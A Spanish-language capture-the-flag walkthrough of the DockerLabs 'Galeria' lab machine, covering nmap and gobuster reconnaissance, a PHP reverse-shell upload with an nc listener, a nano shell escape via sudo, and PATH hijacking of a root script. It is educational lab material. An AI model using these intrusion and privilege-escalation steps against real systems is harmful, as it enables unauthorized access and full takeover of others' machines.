> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/galeria.md).
# Galeria
#### **Despliegue de la Máquina:**
**1. Descarga:**
Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Galeria** y pulsamos el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.
**2. Descompresión:**
Utilizamos la herramienta `7z` para extraer el contenido del archivo comprimido `galeria.zip`:
```bash
7z x galeria.zip
```
**3. Ejecución:**
Ejecutamos el script `auto_deploy.sh` para levantar la máquina en Docker, pasando como argumento el archivo `galeria.tar`:
```bash
bash auto_deploy.sh galeria.tar
```
***
#### **Reconocimiento:**
**1. Verificación de Conectividad:**
Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:
```bash
ping -c 1 172.17.0.2
```
**2. Escaneo de Puertos:**
Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:
```bash
nmap -p- --open -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
```
**Explicación de los parámetros:**
* `-p-`: Escanea todos los puertos (1-65535).
* `--open`: Muestra solo puertos abiertos.
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-v`: Muestra información detallada durante el escaneo (modo verbose).
* `-n`: Evita resolución DNS.
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.
**Puertos abiertos identificados:**
* **Puerto 21:** `FTP`.
* **Puerto 80:** `HTTP`.
**3. Escaneo Detallado:**
Realizamos un escaneo detallado para obtener más información de los puertos abiertos:
```bash
nmap -p21,80 -sCV 172.17.0.2 -oN targeted
```
**Explicación de los parámetros:**
* `-p21,80`: Especifica los puertos a escanear.
* `-sCV`: Escaneo de versiones (`-sV`) y ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda la salida en formato normal, en el archivo `targeted`.
**Resultados:**
* **Puerto 21:** Servicio FTP (`vsftpd 3.0.5`) con acceso anónimo habilitado.
* **Puerto 80:** Servidor web Apache (`httpd 2.4.58`).
**4. Acceso al Servicio FTP:**
Accedemos al servicio FTP utilizando el usuario `anonymous`:
```bash
ftp anonymous@172.17.0.2
```
Listamos el contenido con:
```bash
ls -la
```
Observamos un directorio y varios archivos. Investigamos cada uno de ellos, pero no encontramos información relevante que nos ayude en la explotación.
**5. Acceso al Servicio Web:**
Accedemos al servicio web a través del navegador (`http://172.17.0.2/`).
Visualizamos una página web, que contiene varias imágenes. Sin embargo, no encontramos información relevante que nos resulte útil para la explotación.
**6. Fuerza Bruta de Directorios y Archivos:**
Realizamos un ataque de fuerza bruta para descubrir directorios y archivos ocultos, utilizando la herramienta `gobuster`:
```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```
**Explicación de los parámetros:**
* `dir`: Modo de descubrimiento de directorios.
* `-u`: URL objetivo.
* `-w`: Lista de palabras utilizada para el descubrimiento.
* `-x`: Extensiones de archivo a buscar.
**Resultado:** Identificamos un directorio oculto llamado `gallery`.
Accedemos al directorio mediante la siguiente URL: `http://172.17.0.2/gallery/`.
Una vez dentro, visualizamos una carpeta llamada `uploads`.
Accedemos a la carpeta a través de la siguiente URL: `http://172.17.0.2/gallery/uploads/`.
Una vez dentro, visualizamos un archivo llamado `handler.php`.
***
#### **Explotación:**
**1. Subida de Archivo Malicioso:**
Accedemos al apartado de subida de archivos a través de la siguiente URL: `http://172.17.0.2/gallery/uploads/handler.php`.
Creamos una reverse shell en PHP utilizando [revshells.com](https://www.revshells.com/).
Guardamos el código en un archivo y lo subimos al servidor mediante el formulario.
Verificamos su presencia en `http://172.17.0.2/gallery/uploads/images/`.
**2. Ejecución de la Reverse Shell:**
Nos ponemos en escucha en nuestro equipo:
```bash
nc -nvlp 1234
```
Accedemos al archivo subido para ejecutar la reverse shell (`http://172.17.0.2/gallery/uploads/images/1.php`).
Obtenemos acceso a la máquina como el usuario `www-data`.
***
#### **Escalada de Privilegios:**
**1. Escalada a Usuario `gallery`:**
Ejecutamos `sudo -l` para ver los comandos que podemos ejecutar con privilegios.
Descubrimos que podemos ejecutar `/bin/nano` como el usuario `gallery` sin contraseña:
```bash
(gallery) NOPASSWD: /bin/nano
```
Utilizamos la técnica descrita en [GTFOBins](https://gtfobins.github.io/gtfobins/nano/) para escalar privilegios:
```bash
sudo -u gallery /bin/nano
```
Dentro de `nano`, presionamos:
```bash
^R^X
```
Luego escribimos:
```bash
reset; sh 1>&0 2>&0
```
**Resultado:** Obtenemos una shell como el usuario `gallery`.
**2. Escalada a Usuario `root`:**
Volvemos a ejecutar `sudo -l` y descubrimos que podemos ejecutar `/usr/local/bin/runme` como `root` sin contraseña:
```bash
(ALL) NOPASSWD: /usr/local/bin/runme
```
Analizamos el contenido del archivo:
```bash
cat /usr/local/bin/runme
```
Encontramos el siguiente comando:
```bash
convert /var/www/html/gallery/uploads/images/input.png /var/www/html/gallery/uploads/images/output.jpg
```
El archivo utiliza el comando `convert`, que no está definido en el sistema. Aprovechamos esto para realizar un ataque de **Path Hijacking**.
Creamos un archivo llamado `convert` que inicia una shell con privilegios elevados:
```bash
echo "/bin/bash -p" > /home/gallery/convert
```
Le damos permisos de ejecución:
```bash
chmod +x /home/gallery/convert
```
Modificamos la variable `PATH` para que priorice nuestro archivo:
```bash
export PATH=/home/gallery:$PATH
```
Ejecutamos el script como `root`:
```bash
sudo -u root /usr/local/bin/runme
```
**Resultado:** Obtenemos una shell como `root`, completando la escalada de privilegios.